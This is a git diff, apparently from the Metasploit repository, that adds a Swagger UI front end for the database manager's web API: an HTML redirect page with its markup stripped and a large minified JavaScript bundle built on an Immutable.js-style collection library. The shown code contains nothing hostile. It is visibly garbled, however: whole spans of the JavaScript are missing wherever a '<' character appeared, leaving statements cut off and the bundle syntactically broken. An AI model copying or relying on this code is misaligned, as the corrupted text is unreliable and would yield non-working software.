+ + + + + + diff --git a/lib/msf/core/db_manager/http/public/oauth2-redirect.html b/lib/msf/core/db_manager/http/public/oauth2-redirect.html new file mode 100644 index 0000000000..fb68399d26 --- /dev/null +++ b/lib/msf/core/db_manager/http/public/oauth2-redirect.html @@ -0,0 +1,67 @@ + + + + + + diff --git a/lib/msf/core/db_manager/http/public/swagger-ui-bundle.js b/lib/msf/core/db_manager/http/public/swagger-ui-bundle.js new file mode 100644 index 0000000000..977c1e12ca --- /dev/null +++ b/lib/msf/core/db_manager/http/public/swagger-ui-bundle.js @@ -0,0 +1,93 @@ +!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.SwaggerUIBundle=t():e.SwaggerUIBundle=t()}(this,function(){return function(e){function t(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var n={};return t.m=e,t.c=n,t.i=function(e){return e},t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="/dist",t(t.s=1233)}([function(e,t,n){"use strict";e.exports=n(92)},function(e,t,n){e.exports=n(1014)()},function(e,t,n){"use strict";t.__esModule=!0,t.default=function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}},function(e,t,n){"use strict";t.__esModule=!0;var r=n(340),i=function(e){return e&&e.__esModule?e:{default:e}}(r);t.default=function(){function e(e,t){for(var n=0;n>>0;if(""+n!==t||4294967295===n)return NaN;t=n}return t<0?d(e)+t:t}function v(){return!0}function g(e,t,n){return(0===e||void 0!==n&&e<=-n)&&(void 0===t||void 0!==n&&t>=n)}function y(e,t){return b(e,t,0)}function _(e,t){return b(e,t,t)}function b(e,t,n){return void 0===e?n:e<0?Math.max(0,t+e):void 0===t?e:Math.min(t,e)}function x(e){this.next=e}function w(e,t,n,r){var i=0===e?t:1===e?n:[t,n];return r?r.value=i:r={value:i,done:!1},r}function k(){return{value:void 0,done:!0}}function E(e){return!!A(e)}function S(e){return e&&"function"==typeof e.next}function C(e){var t=A(e);return t&&t.call(e)}function A(e){var t=e&&(wn&&e[wn]||e[kn]);if("function"==typeof t)return t}function D(e){return e&&"number"==typeof e.length}function O(e){return null===e||void 0===e?B():o(e)?e.toSeq():z(e)}function M(e){return null===e||void 0===e?B().toKeyedSeq():o(e)?a(e)?e.toSeq():e.fromEntrySeq():L(e)}function T(e){return null===e||void 0===e?B():o(e)?a(e)?e.entrySeq():e.toIndexedSeq():q(e)}function P(e){return(null===e||void 0===e?B():o(e)?a(e)?e.entrySeq():e:q(e)).toSetSeq()}function I(e){this._array=e,this.size=e.length}function R(e){var t=Object.keys(e);this._object=e,this._keys=t,this.size=t.length}function j(e){this._iterable=e,this.size=e.length||e.size}function N(e){this._iterator=e,this._iteratorCache=[]}function F(e){return!(!e||!e[Sn])}function B(){return Cn||(Cn=new I([]))}function L(e){var t=Array.isArray(e)?new I(e).fromEntrySeq():S(e)?new N(e).fromEntrySeq():E(e)?new j(e).fromEntrySeq():"object"==typeof e?new R(e):void 0;if(!t)throw new TypeError("Expected Array or iterable object of [k, v] entries, or keyed object: "+e);return t}function q(e){var t=U(e);if(!t)throw new TypeError("Expected Array or iterable object of values: "+e);return t}function z(e){var t=U(e)||"object"==typeof e&&new R(e);if(!t)throw new TypeError("Expected Array or iterable object of values, or keyed object: "+e);return t}function U(e){return D(e)?new I(e):S(e)?new N(e):E(e)?new j(e):void 0}function W(e,t,n,r){var i=e._cache;if(i){for(var o=i.length-1,a=0;a<=o;a++){var s=i[n?o-a:a];if(!1===t(s[1],r?s[0]:a,e))return a+1}return a}return e.__iterateUncached(t,n)}function V(e,t,n,r){var i=e._cache;if(i){var o=i.length-1,a=0;return new x(function(){var e=i[n?o-a:a];return a++>o?k():w(t,r?e[0]:a-1,e[1])})}return e.__iteratorUncached(t,n)}function H(e,t){return t?J(t,e,"",{"":e}):G(e)}function J(e,t,n,r){return Array.isArray(t)?e.call(r,n,T(t).map(function(n,r){return J(e,n,r,t)})):Y(t)?e.call(r,n,M(t).map(function(n,r){return J(e,n,r,t)})):t}function G(e){return Array.isArray(e)?T(e).map(G).toList():Y(e)?M(e).map(G).toMap():e}function Y(e){return e&&(e.constructor===Object||void 0===e.constructor)}function K(e,t){if(e===t||e!==e&&t!==t)return!0;if(!e||!t)return!1;if("function"==typeof e.valueOf&&"function"==typeof t.valueOf){if(e=e.valueOf(),t=t.valueOf(),e===t||e!==e&&t!==t)return!0;if(!e||!t)return!1}return!("function"!=typeof e.equals||"function"!=typeof t.equals||!e.equals(t))}function X(e,t){if(e===t)return!0;if(!o(t)||void 0!==e.size&&void 0!==t.size&&e.size!==t.size||void 0!==e.__hash&&void 0!==t.__hash&&e.__hash!==t.__hash||a(e)!==a(t)||s(e)!==s(t)||l(e)!==l(t))return!1;if(0===e.size&&0===t.size)return!0;var n=!u(e);if(l(e)){var r=e.entries();return t.every(function(e,t){var i=r.next().value;return i&&K(i[1],e)&&(n||K(i[0],t))})&&r.next().done}var i=!1;if(void 0===e.size)if(void 0===t.size)"function"==typeof e.cacheResult&&e.cacheResult();else{i=!0;var c=e;e=t,t=c}var p=!0,f=t.__iterate(function(t,r){if(n?!e.has(t):i?!K(t,e.get(r,vn)):!K(e.get(r,vn),t))return p=!1,!1});return p&&e.size===f}function $(e,t){if(!(this instanceof $))return new $(e,t);if(this._value=e,this.size=void 0===t?1/0:Math.max(0,t),0===this.size){if(An)return An;An=this}}function Z(e,t){if(!e)throw new Error(t)}function Q(e,t,n){if(!(this instanceof Q))return new Q(e,t,n);if(Z(0!==n,"Cannot step a Range by 0"),e=e||0,void 0===t&&(t=1/0),n=void 0===n?1:Math.abs(n),t>>1&1073741824|3221225471&e}function oe(e){if(!1===e||null===e||void 0===e)return 0;if("function"==typeof e.valueOf&&(!1===(e=e.valueOf())||null===e||void 0===e))return 0;if(!0===e)return 1;var t=typeof e;if("number"===t){if(e!==e||e===1/0)return 0;var n=0|e;for(n!==e&&(n^=4294967295*e);e>4294967295;)e/=4294967295,n^=e;return ie(n)}if("string"===t)return e.length>Nn?ae(e):se(e);if("function"==typeof e.hashCode)return e.hashCode();if("object"===t)return ue(e);if("function"==typeof e.toString)return se(e.toString());throw new Error("Value type "+t+" cannot be hashed.")}function ae(e){var t=Ln[e];return void 0===t&&(t=se(e),Bn===Fn&&(Bn=0,Ln={}),Bn++,Ln[e]=t),t}function se(e){for(var t=0,n=0;n0)switch(e.nodeType){case 1:return e.uniqueID;case 9:return e.documentElement&&e.documentElement.uniqueID}}function ce(e){Z(e!==1/0,"Cannot perform this action with an infinite size.")}function pe(e){return null===e||void 0===e?we():fe(e)&&!l(e)?e:we().withMutations(function(t){var r=n(e);ce(r.size),r.forEach(function(e,n){return t.set(n,e)})})}function fe(e){return!(!e||!e[qn])}function he(e,t){this.ownerID=e,this.entries=t}function de(e,t,n){this.ownerID=e,this.bitmap=t,this.nodes=n}function me(e,t,n){this.ownerID=e,this.count=t,this.nodes=n}function ve(e,t,n){this.ownerID=e,this.keyHash=t,this.entries=n}function ge(e,t,n){this.ownerID=e,this.keyHash=t,this.entry=n}function ye(e,t,n){this._type=t,this._reverse=n,this._stack=e._root&&be(e._root)}function _e(e,t){return w(e,t[0],t[1])}function be(e,t){return{node:e,index:0,__prev:t}}function xe(e,t,n,r){var i=Object.create(zn);return i.size=e,i._root=t,i.__ownerID=n,i.__hash=r,i.__altered=!1,i}function we(){return Un||(Un=xe(0))}function ke(e,t,n){var r,i;if(e._root){var o=c(gn),a=c(yn);if(r=Ee(e._root,e.__ownerID,0,void 0,t,n,o,a),!a.value)return e;i=e.size+(o.value?n===vn?-1:1:0)}else{if(n===vn)return e;i=1,r=new he(e.__ownerID,[[t,n]])}return e.__ownerID?(e.size=i,e._root=r,e.__hash=void 0,e.__altered=!0,e):r?xe(i,r):we()}function Ee(e,t,n,r,i,o,a,s){return e?e.update(t,n,r,i,o,a,s):o===vn?e:(p(s),p(a),new ge(t,r,[i,o]))}function Se(e){return e.constructor===ge||e.constructor===ve}function Ce(e,t,n,r,i){if(e.keyHash===r)return new ve(t,r,[e.entry,i]);var o,a=(0===n?e.keyHash:e.keyHash>>>n)&mn,s=(0===n?r:r>>>n)&mn;return new de(t,1<>>=1)a[s]=1&n?t[o++]:void 0;return a[r]=i,new me(e,o+1,a)}function Me(e,t,r){for(var i=[],a=0;a>1&1431655765,e=(858993459&e)+(e>>2&858993459),e=e+(e>>4)&252645135,e+=e>>8,127&(e+=e>>16)}function Ne(e,t,n,r){var i=r?e:h(e);return i[t]=n,i}function Fe(e,t,n,r){var i=e.length+1;if(r&&t+1===i)return e[t]=n,e;for(var o=new Array(i),a=0,s=0;s0&&io?0:o-n,l=a-n;return l>dn&&(l=dn),function(){if(i===l)return Kn;var e=t?--l:i++;return r&&r[e]}}function i(e,r,i){var s,u=e&&e.array,l=i>o?0:o-i>>r,c=1+(a-i>>r);return c>dn&&(c=dn),function(){for(;;){if(s){var e=s();if(e!==Kn)return e;s=null}if(l===c)return Kn;var o=t?--c:l++;s=n(u&&u[o],r-hn,i+(o<=e.size||t<0)return e.withMutations(function(e){t<0?Ke(e,t).set(0,n):Ke(e,0,t+1).set(t,n)});t+=e._origin;var r=e._tail,i=e._root,o=c(yn);return t>=$e(e._capacity)?r=Je(r,e.__ownerID,0,t,n,o):i=Je(i,e.__ownerID,e._level,t,n,o),o.value?e.__ownerID?(e._root=i,e._tail=r,e.__hash=void 0,e.__altered=!0,e):We(e._origin,e._capacity,e._level,i,r):e}function Je(e,t,n,r,i,o){var a=r>>>n&mn,s=e&&a0){var l=e&&e.array[a],c=Je(l,t,n-hn,r,i,o);return c===l?e:(u=Ge(e,t),u.array[a]=c,u)}return s&&e.array[a]===i?e:(p(o),u=Ge(e,t),void 0===i&&a===u.array.length-1?u.array.pop():u.array[a]=i,u)}function Ge(e,t){return t&&e&&t===e.ownerID?e:new ze(e?e.array.slice():[],t)}function Ye(e,t){if(t>=$e(e._capacity))return e._tail;if(t<1<0;)n=n.array[t>>>r&mn],r-=hn;return n}}function Ke(e,t,n){void 0!==t&&(t|=0),void 0!==n&&(n|=0);var r=e.__ownerID||new f,i=e._origin,o=e._capacity,a=i+t,s=void 0===n?o:n<0?o+n:i+n;if(a===i&&s===o)return e;if(a>=s)return e.clear();for(var u=e._level,l=e._root,c=0;a+c<0;)l=new ze(l&&l.array.length?[void 0,l]:[],r),u+=hn,c+=1<=1<p?new ze([],r):d;if(d&&h>p&&ahn;g-=hn){var y=p>>>g&mn;v=v.array[y]=Ge(v.array[y],r)}v.array[p>>>hn&mn]=d}if(s=h)a-=h,s-=h,u=hn,l=null,m=m&&m.removeBefore(r,0,a);else if(a>i||h>>u&mn;if(_!==h>>>u&mn)break;_&&(c+=(1<i&&(l=l.removeBefore(r,u,a-c)),l&&ha&&(a=l.size),o(u)||(l=l.map(function(e){return H(e)})),i.push(l)}return a>e.size&&(e=e.setSize(a)),Ie(e,t,i)}function $e(e){return e>>hn<=dn&&a.size>=2*o.size?(i=a.filter(function(e,t){return void 0!==e&&s!==t}),r=i.toKeyedSeq().map(function(e){return e[0]}).flip().toMap(),e.__ownerID&&(r.__ownerID=i.__ownerID=e.__ownerID)):(r=o.remove(t),i=s===a.size-1?a.pop():a.set(s,void 0))}else if(u){if(n===a.get(s)[1])return e;r=o,i=a.set(s,[t,n])}else r=o.set(t,a.size),i=a.set(a.size,[t,n]);return e.__ownerID?(e.size=r.size,e._map=r,e._list=i,e.__hash=void 0,e):et(r,i)}function rt(e,t){this._iter=e,this._useKeys=t,this.size=e.size}function it(e){this._iter=e,this.size=e.size}function ot(e){this._iter=e,this.size=e.size}function at(e){this._iter=e,this.size=e.size}function st(e){var t=Dt(e);return t._iter=e,t.size=e.size,t.flip=function(){return e},t.reverse=function(){var t=e.reverse.apply(this);return t.flip=function(){return e.reverse()},t},t.has=function(t){return e.includes(t)},t.includes=function(t){return e.has(t)},t.cacheResult=Ot,t.__iterateUncached=function(t,n){var r=this;return e.__iterate(function(e,n){return!1!==t(n,e,r)},n)},t.__iteratorUncached=function(t,n){if(t===xn){var r=e.__iterator(t,n);return new x(function(){var e=r.next();if(!e.done){var t=e.value[0];e.value[0]=e.value[1],e.value[1]=t}return e})}return e.__iterator(t===bn?_n:bn,n)},t}function ut(e,t,n){var r=Dt(e);return r.size=e.size,r.has=function(t){return e.has(t)},r.get=function(r,i){var o=e.get(r,vn);return o===vn?i:t.call(n,o,r,e)},r.__iterateUncached=function(r,i){var o=this;return e.__iterate(function(e,i,a){return!1!==r(t.call(n,e,i,a),i,o)},i)},r.__iteratorUncached=function(r,i){var o=e.__iterator(xn,i);return new x(function(){var i=o.next();if(i.done)return i;var a=i.value,s=a[0];return w(r,s,t.call(n,a[1],s,e),i)})},r}function lt(e,t){var n=Dt(e);return n._iter=e,n.size=e.size,n.reverse=function(){return e},e.flip&&(n.flip=function(){var t=st(e);return t.reverse=function(){return e.flip()},t}),n.get=function(n,r){return e.get(t?n:-1-n,r)},n.has=function(n){return e.has(t?n:-1-n)},n.includes=function(t){return e.includes(t)},n.cacheResult=Ot,n.__iterate=function(t,n){var r=this;return e.__iterate(function(e,n){return t(e,n,r)},!n)},n.__iterator=function(t,n){return e.__iterator(t,!n)},n}function ct(e,t,n,r){var i=Dt(e);return r&&(i.has=function(r){var i=e.get(r,vn);return i!==vn&&!!t.call(n,i,r,e)},i.get=function(r,i){var o=e.get(r,vn);return o!==vn&&t.call(n,o,r,e)?o:i}),i.__iterateUncached=function(i,o){var a=this,s=0;return e.__iterate(function(e,o,u){if(t.call(n,e,o,u))return s++,i(e,r?o:s-1,a)},o),s},i.__iteratorUncached=function(i,o){var a=e.__iterator(xn,o),s=0;return new x(function(){for(;;){var o=a.next();if(o.done)return o;var u=o.value,l=u[0],c=u[1];if(t.call(n,c,l,e))return w(i,r?l:s++,c,o)}})},i}function pt(e,t,n){var r=pe().asMutable();return e.__iterate(function(i,o){r.update(t.call(n,i,o,e),0,function(e){return e+1})}),r.asImmutable()}function ft(e,t,n){var r=a(e),i=(l(e)?Ze():pe()).asMutable();e.__iterate(function(o,a){i.update(t.call(n,o,a,e),function(e){return e=e||[],e.push(r?[a,o]:o),e})});var o=At(e);return i.map(function(t){return Et(e,o(t))})}function ht(e,t,n,r){var i=e.size;if(void 0!==t&&(t|=0),void 0!==n&&(n===1/0?n=i:n|=0),g(t,n,i))return e;var o=y(t,i),a=_(n,i);if(o!==o||a!==a)return ht(e.toSeq().cacheResult(),t,n,r);var s,u=a-o;u===u&&(s=u<0?0:u);var l=Dt(e);return l.size=0===s?s:e.size&&s||void 0,!r&&F(e)&&s>=0&&(l.get=function(t,n){return t=m(this,t),t>=0&&ts)return k();var e=i.next();return r||t===bn?e:t===_n?w(t,u-1,void 0,e):w(t,u-1,e.value[1],e)})},l}function dt(e,t,n){var r=Dt(e);return r.__iterateUncached=function(r,i){var o=this;if(i)return this.cacheResult().__iterate(r,i);var a=0;return e.__iterate(function(e,i,s){return t.call(n,e,i,s)&&++a&&r(e,i,o)}),a},r.__iteratorUncached=function(r,i){var o=this;if(i)return this.cacheResult().__iterator(r,i);var a=e.__iterator(xn,i),s=!0;return new x(function(){if(!s)return k();var e=a.next();if(e.done)return e;var i=e.value,u=i[0],l=i[1];return t.call(n,l,u,o)?r===xn?e:w(r,u,l,e):(s=!1,k())})},r}function mt(e,t,n,r){var i=Dt(e);return i.__iterateUncached=function(i,o){var a=this;if(o)return this.cacheResult().__iterate(i,o);var s=!0,u=0;return e.__iterate(function(e,o,l){if(!s||!(s=t.call(n,e,o,l)))return u++,i(e,r?o:u-1,a)}),u},i.__iteratorUncached=function(i,o){var a=this;if(o)return this.cacheResult().__iterator(i,o);var s=e.__iterator(xn,o),u=!0,l=0;return new x(function(){var e,o,c;do{if(e=s.next(),e.done)return r||i===bn?e:i===_n?w(i,l++,void 0,e):w(i,l++,e.value[1],e);var p=e.value;o=p[0],c=p[1],u&&(u=t.call(n,c,o,a))}while(u);return i===xn?e:w(i,o,c,e)})},i}function vt(e,t){var r=a(e),i=[e].concat(t).map(function(e){return o(e)?r&&(e=n(e)):e=r?L(e):q(Array.isArray(e)?e:[e]),e}).filter(function(e){return 0!==e.size});if(0===i.length)return e;if(1===i.length){var u=i[0];if(u===e||r&&a(u)||s(e)&&s(u))return u}var l=new I(i);return r?l=l.toKeyedSeq():s(e)||(l=l.toSetSeq()),l=l.flatten(!0),l.size=i.reduce(function(e,t){if(void 0!==e){var n=t.size;if(void 0!==n)return e+n}},0),l}function gt(e,t,n){var r=Dt(e);return r.__iterateUncached=function(r,i){function a(e,l){var c=this;e.__iterate(function(e,i){return(!t||l0}function kt(e,n,r){var i=Dt(e);return i.size=new I(r).map(function(e){return e.size}).min(),i.__iterate=function(e,t){for(var n,r=this.__iterator(bn,t),i=0;!(n=r.next()).done&&!1!==e(n.value,i++,this););return i},i.__iteratorUncached=function(e,i){var o=r.map(function(e){return e=t(e),C(i?e.reverse():e)}),a=0,s=!1;return new x(function(){var t;return s||(t=o.map(function(e){return e.next()}),s=t.some(function(e){return e.done})),s?k():w(e,a++,n.apply(null,t.map(function(e){return e.value})))})},i}function Et(e,t){return F(e)?t:e.constructor(t)}function St(e){if(e!==Object(e))throw new TypeError("Expected [K, V] tuple: "+e)}function Ct(e){return ce(e.size),d(e)}function At(e){return a(e)?n:s(e)?r:i}function Dt(e){return Object.create((a(e)?M:s(e)?T:P).prototype)}function Ot(){return this._iter.cacheResult?(this._iter.cacheResult(),this.size=this._iter.size,this):O.prototype.cacheResult.call(this)}function Mt(e,t){return e>t?1:et?-1:0}function on(e){if(e.size===1/0)return 0;var t=l(e),n=a(e),r=t?1:0;return an(e.__iterate(n?t?function(e,t){r=31*r+sn(oe(e),oe(t))|0}:function(e,t){r=r+sn(oe(e),oe(t))|0}:t?function(e){r=31*r+oe(e)|0}:function(e){r=r+oe(e)|0}),r)}function an(e,t){return t=Mn(t,3432918353),t=Mn(t<<15|t>>>-15,461845907),t=Mn(t<<13|t>>>-13,5),t=(t+3864292196|0)^e,t=Mn(t^t>>>16,2246822507),t=Mn(t^t>>>13,3266489909),t=ie(t^t>>>16)}function sn(e,t){return e^t+2654435769+(e<<6)+(e>>2)|0}var un=Array.prototype.slice;e(n,t),e(r,t),e(i,t),t.isIterable=o,t.isKeyed=a,t.isIndexed=s,t.isAssociative=u,t.isOrdered=l,t.Keyed=n,t.Indexed=r,t.Set=i;var ln="@@__IMMUTABLE_ITERABLE__@@",cn="@@__IMMUTABLE_KEYED__@@",pn="@@__IMMUTABLE_INDEXED__@@",fn="@@__IMMUTABLE_ORDERED__@@",hn=5,dn=1<r?k():w(e,i,n[t?r-i++:i++])})},e(R,M),R.prototype.get=function(e,t){return void 0===t||this.has(e)?this._object[e]:t},R.prototype.has=function(e){return this._object.hasOwnProperty(e)},R.prototype.__iterate=function(e,t){for(var n=this._object,r=this._keys,i=r.length-1,o=0;o<=i;o++){var a=r[t?i-o:o];if(!1===e(n[a],a,this))return o+1}return o},R.prototype.__iterator=function(e,t){var n=this._object,r=this._keys,i=r.length-1,o=0;return new x(function(){var a=r[t?i-o:o];return o++>i?k():w(e,a,n[a])})},R.prototype[fn]=!0,e(j,T),j.prototype.__iterateUncached=function(e,t){if(t)return this.cacheResult().__iterate(e,t);var n=this._iterable,r=C(n),i=0;if(S(r))for(var o;!(o=r.next()).done&&!1!==e(o.value,i++,this););return i},j.prototype.__iteratorUncached=function(e,t){if(t)return this.cacheResult().__iterator(e,t);var n=this._iterable,r=C(n);if(!S(r))return new x(k);var i=0;return new x(function(){var t=r.next();return t.done?t:w(e,i++,t.value)})},e(N,T),N.prototype.__iterateUncached=function(e,t){if(t)return this.cacheResult().__iterate(e,t);for(var n=this._iterator,r=this._iteratorCache,i=0;i=r.length){var t=n.next();if(t.done)return t;r[i]=t.value}return w(e,i,r[i++])})};var Cn;e($,T),$.prototype.toString=function(){return 0===this.size?"Repeat []":"Repeat [ "+this._value+" "+this.size+" times ]"},$.prototype.get=function(e,t){return this.has(e)?this._value:t},$.prototype.includes=function(e){return K(this._value,e)},$.prototype.slice=function(e,t){var n=this.size;return g(e,t,n)?this:new $(this._value,_(t,n)-y(e,n))},$.prototype.reverse=function(){return this},$.prototype.indexOf=function(e){return K(this._value,e)?0:-1},$.prototype.lastIndexOf=function(e){return K(this._value,e)?this.size:-1},$.prototype.__iterate=function(e,t){for(var n=0;n=0&&t=0&&nn?k():w(e,o++,a)})},Q.prototype.equals=function(e){return e instanceof Q?this._start===e._start&&this._end===e._end&&this._step===e._step:X(this,e)};var Dn;e(ee,t),e(te,ee),e(ne,ee),e(re,ee),ee.Keyed=te,ee.Indexed=ne,ee.Set=re;var On,Mn="function"==typeof Math.imul&&-2===Math.imul(4294967295,2)?Math.imul:function(e,t){e|=0,t|=0;var n=65535&e,r=65535&t;return n*r+((e>>>16)*r+n*(t>>>16)<<16>>>0)|0},Tn=Object.isExtensible,Pn=function(){try{return Object.defineProperty({},"@",{}),!0}catch(e){return!1}}(),In="function"==typeof WeakMap;In&&(On=new WeakMap);var Rn=0,jn="__immutablehash__";"function"==typeof Symbol&&(jn=Symbol(jn));var Nn=16,Fn=255,Bn=0,Ln={};e(pe,te),pe.of=function(){var e=un.call(arguments,0);return we().withMutations(function(t){for(var n=0;n=e.length)throw new Error("Missing value for key: "+e[n]);t.set(e[n],e[n+1])}})},pe.prototype.toString=function(){return this.__toString("Map {","}")},pe.prototype.get=function(e,t){return this._root?this._root.get(0,void 0,e,t):t},pe.prototype.set=function(e,t){return ke(this,e,t)},pe.prototype.setIn=function(e,t){return this.updateIn(e,vn,function(){return t})},pe.prototype.remove=function(e){return ke(this,e,vn)},pe.prototype.deleteIn=function(e){return this.updateIn(e,function(){return vn})},pe.prototype.update=function(e,t,n){return 1===arguments.length?e(this):this.updateIn([e],t,n)},pe.prototype.updateIn=function(e,t,n){n||(n=t,t=void 0);var r=Re(this,Tt(e),t,n);return r===vn?void 0:r},pe.prototype.clear=function(){return 0===this.size?this:this.__ownerID?(this.size=0,this._root=null,this.__hash=void 0,this.__altered=!0,this):we()},pe.prototype.merge=function(){return Me(this,void 0,arguments)},pe.prototype.mergeWith=function(e){return Me(this,e,un.call(arguments,1))},pe.prototype.mergeIn=function(e){var t=un.call(arguments,1);return this.updateIn(e,we(),function(e){return"function"==typeof e.merge?e.merge.apply(e,t):t[t.length-1]})},pe.prototype.mergeDeep=function(){return Me(this,Te,arguments)},pe.prototype.mergeDeepWith=function(e){var t=un.call(arguments,1);return Me(this,Pe(e),t)},pe.prototype.mergeDeepIn=function(e){var t=un.call(arguments,1);return this.updateIn(e,we(),function(e){return"function"==typeof e.mergeDeep?e.mergeDeep.apply(e,t):t[t.length-1]})},pe.prototype.sort=function(e){return Ze(bt(this,e))},pe.prototype.sortBy=function(e,t){return Ze(bt(this,t,e))},pe.prototype.withMutations=function(e){var t=this.asMutable();return e(t),t.wasAltered()?t.__ensureOwner(this.__ownerID):this},pe.prototype.asMutable=function(){return this.__ownerID?this:this.__ensureOwner(new f)},pe.prototype.asImmutable=function(){return this.__ensureOwner()},pe.prototype.wasAltered=function(){return this.__altered},pe.prototype.__iterator=function(e,t){return new ye(this,e,t)},pe.prototype.__iterate=function(e,t){var n=this,r=0;return this._root&&this._root.iterate(function(t){return r++,e(t[1],t[0],n)},t),r},pe.prototype.__ensureOwner=function(e){return e===this.__ownerID?this:e?xe(this.size,this._root,e,this.__hash):(this.__ownerID=e,this.__altered=!1,this)},pe.isMap=fe;var qn="@@__IMMUTABLE_MAP__@@",zn=pe.prototype;zn[qn]=!0,zn.delete=zn.remove,zn.removeIn=zn.deleteIn,he.prototype.get=function(e,t,n,r){for(var i=this.entries,o=0,a=i.length;o=Wn)return Ae(e,u,r,i);var d=e&&e===this.ownerID,m=d?u:h(u);return f?s?l===c-1?m.pop():m[l]=m.pop():m[l]=[r,i]:m.push([r,i]),d?(this.entries=m,this):new he(e,m)}},de.prototype.get=function(e,t,n,r){void 0===t&&(t=oe(n));var i=1<<((0===e?t:t>>>e)&mn),o=this.bitmap;return 0==(o&i)?r:this.nodes[je(o&i-1)].get(e+hn,t,n,r)},de.prototype.update=function(e,t,n,r,i,o,a){void 0===n&&(n=oe(r));var s=(0===t?n:n>>>t)&mn,u=1<=Vn)return Oe(e,f,l,s,d);if(c&&!d&&2===f.length&&Se(f[1^p]))return f[1^p];if(c&&d&&1===f.length&&Se(d))return d;var m=e&&e===this.ownerID,v=c?d?l:l^u:l|u,g=c?d?Ne(f,p,d,m):Be(f,p,m):Fe(f,p,d,m);return m?(this.bitmap=v,this.nodes=g,this):new de(e,v,g)},me.prototype.get=function(e,t,n,r){void 0===t&&(t=oe(n));var i=(0===e?t:t>>>e)&mn,o=this.nodes[i];return o?o.get(e+hn,t,n,r):r},me.prototype.update=function(e,t,n,r,i,o,a){void 0===n&&(n=oe(r));var s=(0===t?n:n>>>t)&mn,u=i===vn,l=this.nodes,c=l[s];if(u&&!c)return this;var p=Ee(c,e,t+hn,n,r,i,o,a);if(p===c)return this;var f=this.count;if(c){if(!p&&--f=0&&e>>t&mn;if(r>=this.array.length)return new ze([],e);var i,o=0===r;if(t>0){var a=this.array[r];if((i=a&&a.removeBefore(e,t-hn,n))===a&&o)return this}if(o&&!i)return this;var s=Ge(this,e);if(!o)for(var u=0;u>>t&mn;if(r>=this.array.length)return this;var i;if(t>0){var o=this.array[r];if((i=o&&o.removeAfter(e,t-hn,n))===o&&r===this.array.length-1)return this}var a=Ge(this,e);return a.array.splice(r+1),i&&(a.array[r]=i),a};var Yn,Kn={};e(Ze,pe),Ze.of=function(){return this(arguments)},Ze.prototype.toString=function(){return this.__toString("OrderedMap {","}")},Ze.prototype.get=function(e,t){var n=this._map.get(e);return void 0!==n?this._list.get(n)[1]:t},Ze.prototype.clear=function(){return 0===this.size?this:this.__ownerID?(this.size=0,this._map.clear(),this._list.clear(),this):tt()},Ze.prototype.set=function(e,t){return nt(this,e,t)},Ze.prototype.remove=function(e){return nt(this,e,vn)},Ze.prototype.wasAltered=function(){return this._map.wasAltered()||this._list.wasAltered()},Ze.prototype.__iterate=function(e,t){var n=this;return this._list.__iterate(function(t){return t&&e(t[1],t[0],n)},t)},Ze.prototype.__iterator=function(e,t){return this._list.fromEntrySeq().__iterator(e,t)},Ze.prototype.__ensureOwner=function(e){if(e===this.__ownerID)return this;var t=this._map.__ensureOwner(e),n=this._list.__ensureOwner(e);return e?et(t,n,e,this.__hash):(this.__ownerID=e,this._map=t,this._list=n,this)},Ze.isOrderedMap=Qe,Ze.prototype[fn]=!0,Ze.prototype.delete=Ze.prototype.remove;var Xn;e(rt,M),rt.prototype.get=function(e,t){return this._iter.get(e,t)},rt.prototype.has=function(e){return this._iter.has(e)},rt.prototype.valueSeq=function(){return this._iter.valueSeq()},rt.prototype.reverse=function(){var e=this,t=lt(this,!0);return this._useKeys||(t.valueSeq=function(){return e._iter.toSeq().reverse()}),t},rt.prototype.map=function(e,t){var n=this,r=ut(this,e,t);return this._useKeys||(r.valueSeq=function(){return n._iter.toSeq().map(e,t)}),r},rt.prototype.__iterate=function(e,t){var n,r=this;return this._iter.__iterate(this._useKeys?function(t,n){return e(t,n,r)}:(n=t?Ct(this):0,function(i){return e(i,t?--n:n++,r)}),t)},rt.prototype.__iterator=function(e,t){if(this._useKeys)return this._iter.__iterator(e,t);var n=this._iter.__iterator(bn,t),r=t?Ct(this):0;return new x(function(){var i=n.next();return i.done?i:w(e,t?--r:r++,i.value,i)})},rt.prototype[fn]=!0,e(it,T),it.prototype.includes=function(e){return this._iter.includes(e)},it.prototype.__iterate=function(e,t){var n=this,r=0;return this._iter.__iterate(function(t){return e(t,r++,n)},t)},it.prototype.__iterator=function(e,t){var n=this._iter.__iterator(bn,t),r=0;return new x(function(){var t=n.next();return t.done?t:w(e,r++,t.value,t)})},e(ot,P),ot.prototype.has=function(e){return this._iter.includes(e)},ot.prototype.__iterate=function(e,t){var n=this;return this._iter.__iterate(function(t){return e(t,t,n)},t)},ot.prototype.__iterator=function(e,t){var n=this._iter.__iterator(bn,t);return new x(function(){var t=n.next();return t.done?t:w(e,t.value,t.value,t)})},e(at,M),at.prototype.entrySeq=function(){return this._iter.toSeq()},at.prototype.__iterate=function(e,t){var n=this;return this._iter.__iterate(function(t){if(t){St(t);var r=o(t);return e(r?t.get(1):t[1],r?t.get(0):t[0],n)}},t)},at.prototype.__iterator=function(e,t){var n=this._iter.__iterator(bn,t);return new x(function(){for(;;){var t=n.next();if(t.done)return t;var r=t.value;if(r){St(r);var i=o(r);return w(e,i?r.get(0):r[0],i?r.get(1):r[1],t)}}})},it.prototype.cacheResult=rt.prototype.cacheResult=ot.prototype.cacheResult=at.prototype.cacheResult=Ot,e(Pt,te),Pt.prototype.toString=function(){return this.__toString(Rt(this)+" {","}")},Pt.prototype.has=function(e){return this._defaultValues.hasOwnProperty(e)},Pt.prototype.get=function(e,t){if(!this.has(e))return t;var n=this._defaultValues[e];return this._map?this._map.get(e,n):n},Pt.prototype.clear=function(){if(this.__ownerID)return this._map&&this._map.clear(),this;var e=this.constructor;return e._empty||(e._empty=It(this,we()))},Pt.prototype.set=function(e,t){if(!this.has(e))throw new Error('Cannot set unknown key "'+e+'" on '+Rt(this));if(this._map&&!this._map.has(e)){if(t===this._defaultValues[e])return this}var n=this._map&&this._map.set(e,t);return 